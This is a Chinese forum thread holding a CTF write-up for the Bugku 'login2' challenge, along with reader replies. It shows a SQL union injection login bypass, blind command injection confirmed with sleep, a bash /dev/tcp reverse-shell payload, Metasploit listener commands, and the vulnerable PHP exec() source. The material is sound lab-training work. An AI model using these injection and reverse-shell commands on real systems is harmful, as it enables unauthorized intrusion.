[Writeup] bugku平台 login2 writeup

[复制链接]
查看18512 | 回复7 | 2017-5-29 15:23:19 | 显示全部楼层 |阅读模式
题目hint:union,命令执行
题目地址:http://47.93.190.246:49165/login.php

打开是个登录框,既然提示了union那肯定是不会万能密码了,八成是union select md5()的姿势,尝试下后果然登录成功:username=a' union select 1,md5(1)-- -&password=1
然后就是个鬼畜神奇的界面:
Screenshot%20from%202017-05-29%2014-36-30.jpg
然后注意到了倒数第二行:sh -c ps -anx | grep 123,用grep命令对输入的内容从 sh -c ps -anx 的执行结果里面进行查找并输出。
然后就测试下过滤了什么字符:| & || && ; %0a 测试时候问题来了——除了自带的进程回显之外其他都不会回显,于是导致能不能执行命令都无法判断。
既然无法根据回显判断命令是否执行,那还可通过linux下的sleep命令测试是否执行:c=123 ; sleep 5,产生了延时,说明命令执行了。
然后测试下它是否能连接外网:c=123 ; ping www.baidu.com,浏览器一直转圈圈的话就是ping执行了,能连外网。
然后就好弄了,有个公网ip再用个反弹shell的姿势:bash -i >& /dev/tcp/ip/port 0>&1 就能getshell了。

payload:
c=123 ; bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1`

vps的msf监听:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 6666
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后顺利getshell:
23213213.jpg
顺利getflag:
23123123.jpg

最后不忘去看下出题师傅怎么控制回显的:

<?php
if(isset($_POST['c'])){
        $cmd = $_POST['c'];
        exec('ps -aux | grep '.$cmd, $result);
        foreach($result as $k){
                if(strpos($k, $cmd)){
                        echo $k.'<br>';
                }
        }
}
?>

感慨如此的简单粗暴的控制姿势。

最后: 欢迎关注个人小博客  嘿嘿嘿  :010.dropsec.xyz


回复

使用道具 举报

匿名 kira | 2017-5-29 16:30:14 | 显示全部楼层
新姿势get~,感谢
回复

使用道具 举报

daybreak | 2017-5-29 18:03:43 | 显示全部楼层
login2 出了用公网  还有其他姿势么  
回复

使用道具 举报

匿名 010 | 2017-5-31 20:29:49 | 显示全部楼层
daybreak 发表于 2017-5-29 18:03
login2 出了用公网  还有其他姿势么

我当时只找到这么一个思路。我把代码发出来就是想让没有服务器的伙伴再找找其他姿势的,审计审计说不定有新发现哟
回复

使用道具 举报

匿名 马振华 | 2017-10-5 14:44:40 | 显示全部楼层
楼主你下面的具体是怎么操作的:(比如说是在dos命令行下输入还是怎么!望见谅小白,很多东西还不懂)
有个公网ip再用个反弹shell的姿势:bash -i >& /dev/tcp/ip/port 0>&1 就能getshell了。

payload:
c=123 ; bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1`

vps的msf监听:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 6666
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
回复

使用道具 举报

匿名 010 | 2017-11-15 23:02:22 | 显示全部楼层
马振华 发表于 2017-10-5 14:44
楼主你下面的具体是怎么操作的:(比如说是在dos命令行下输入还是怎么!望见谅小白,很多东西还不懂)
有 ...

payload是在题目的地方出入进去的参数的内容,在自己服务器vps上用的msf软件监听的,当然在自己服务器vps上你也可以用nc之类的监听端口
回复

使用道具 举报

匿名 Blili_ctf | 2018-5-16 12:21:56 | 显示全部楼层
在命令执行的地方可以采取命令注入(基于时间的盲注)来猜解出系统命令执行的结果,得到flag的内容,不需要使用vps
http://www.cnblogs.com/blili/p/9045280.html
回复

使用道具 举报

匿名 Blili_ctf | 2018-5-16 12:22:17 | 显示全部楼层
daybreak 发表于 2017-5-29 18:03
login2 出了用公网  还有其他姿势么

在命令执行的地方可以采取命令注入(基于时间的盲注)来猜解出系统命令执行的结果,得到flag的内容,不需要使用vps
http://www.cnblogs.com/blili/p/9045280.html
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

匿名
010 该用户已被删除